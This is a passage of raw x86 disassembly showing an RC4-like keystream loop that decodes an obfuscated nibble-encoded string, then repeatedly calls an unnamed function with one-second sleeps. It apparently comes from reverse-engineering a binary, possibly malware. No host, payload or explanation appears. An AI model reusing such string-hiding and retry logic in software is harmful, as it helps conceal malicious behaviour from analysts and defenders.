mov byte [ebx], dl
mov ebx, dword [ebp - 8]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x14]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0xc]
add ebx, edx
mov dl, byte [ebp + esi - 0x160]
and ebx, 0xff
mov esi, 2
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x30]
xor dl, bl
xor ebx, ebx
mov bl, byte [edi + 4]
mov byte [ebp - 0x18], dl
mov byte [ebp - 0x5c], dl
lea edx, [edi + 4]
mov edi, ebx
xor ebx, ebx
mov bl, byte [edx + 1]
mov edx, dword [ebp - 0x30]
sub edi, 0x70
sub ebx, 0xd2
shl edi, 4
or edi, ebx
and edx, 0xff
mov dword [ebp - 0x2c], edi
lea edi, [ebp + edx - 0x160]
mov dl, byte [edi]
mov dword [ebp - 0x34], 0xb
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x14], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 8], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 8]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x14]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0xc]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x2c]
mov byte [ebp - 0x20], bl
xor dl, bl
mov byte [ebp - 0x18], dl
mov byte [ebp - 0x5b], dl
mov edx, dword [ebp - 0x28]
lea edi, [edx + 4]
jmp 0x82c7f9
mov edi, dword [ebp - 0x38]
add edi, 2
xor edx, edx
xor ebx, ebx
mov dword [ebp - 0x38], edi
mov dl, byte [edi]
mov bl, byte [edi + 1]
sub edx, 0x70
sub ebx, 0xd2
shl edx, 4
or edx, ebx
inc esi
mov dword [ebp - 0x2c], edx
mov edx, dword [ebp - 0x20]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x14], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 8], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 8]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x14]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0xc]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x2c]
mov byte [ebp - 0x20], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x82c910
mov byte [ebp + esi - 0x5d], dl
mov edx, dword [ebp - 0x34]
dec edx
mov dword [ebp - 0x34], edx
jne 0x82c7f6
lea edx, [esi + 1]
cmp edx, 0x1a
mov dword [ebp - 0x38], edx
jge 0x82ca7b
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 0x38]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 8], edx
mov edx, dword [ebp - 0x28]
lea edi, [edx + esi*2]
mov edx, 0x1a
sub edx, ebx
mov dword [ebp - 0x34], edx
jmp 0x82c957
mov edi, dword [ebp - 0x38]
add edi, 2
xor edx, edx
xor ebx, ebx
mov dword [ebp - 0x38], edi
mov dl, byte [edi]
mov bl, byte [edi + 1]
sub edx, 0x70
sub ebx, 0xd2
shl edx, 4
or edx, ebx
inc esi
mov dword [ebp - 0x2c], edx
mov edx, dword [ebp - 0x20]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x14], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 8], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 8]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x14]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0xc]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x2c]
mov byte [ebp - 0x20], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x82ca6e
mov byte [ebp + esi - 0x5d], dl
mov edx, dword [ebp - 0x34]
dec edx
mov dword [ebp - 0x34], edx
jne 0x82c954
mov edi, dword [ebp - 0x28]
inc esi
mov dl, byte [edi + esi*2 + 1]
mov bl, byte [edi + esi*2]
add dl, 0x2e
shl bl, 4
or dl, bl
mov byte [ebp - 0x30], dl
mov edx, dword [ebp - 0x2c]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp + 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x14], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 8], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 8]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x14]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0xc]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x30]
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x82cb8f
mov byte [ebp + esi - 0x5d], dl
mov edx, dword [ebp - 0x30]
inc esi
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
mov bl, byte [edx]
add al, bl
mov bl, byte [ebp + 8]
mov byte [ebp - 0x1c], al
inc bl
mov eax, dword [ebp - 0x1c]
mov byte [ebp + 8], bl
and eax, 0xff
mov dl, byte [ebp + eax - 0x160]
lea eax, [ebp + eax - 0x160]
mov byte [edi], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [eax], bl
mov ebx, dword [ebp + 8]
and ebx, 0xff
mov dword [ebp - 0x10], edx
test esi, esi
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 8]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
jbe 0x82cc86
mov edx, dword [ebp - 4]
mov al, byte [eax]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 0x28]
mov bl, byte [edx + esi*2 + 1]
mov dl, byte [edx + esi*2]
add bl, 0x2e
shl dl, 4
or bl, dl
mov edx, dword [ebp - 0xc]
mov dl, byte [ebp + edx - 0x160]
add dl, cl
and edx, 0xff
mov cl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x10]
mov dl, byte [edx]
add ecx, edx
mov dl, byte [edi]
mov edi, dword [ebp - 0xc]
add ecx, edx
and ecx, 0xff
xor edx, edx
add eax, edi
mov dl, byte [ebp + ecx - 0x160]
and eax, 0xff
mov cl, byte [ebp + edx - 0x160]
xor bl, cl
mov cl, byte [ebp + eax - 0x160]
xor bl, cl
mov byte [ebp + esi - 0x5d], bl
mov byte [ebp - 0x42], 0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x25f]
mov byte [ebp - 0x260], 0
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x464]
lea edx, [ebp - 0x260]
stosw word es:[edi], ax
push ecx
push 0x200
push 0
push edx
stosb byte es:[edi], al
call fcn.00827300
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x864]
lea edx, [ebp - 0x864]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x5c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x864]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x260]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x864]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00829150
add esp, 0x14
test edx, edx
jne 0x82cd65
push 0x3e8
call ebx
mov eax, dword [ebp - 0x264]
dec eax
test eax, eax
mov dword [ebp - 0x264], eax
jg 0x82cc90
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push eax
call fcn.0082fdb0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret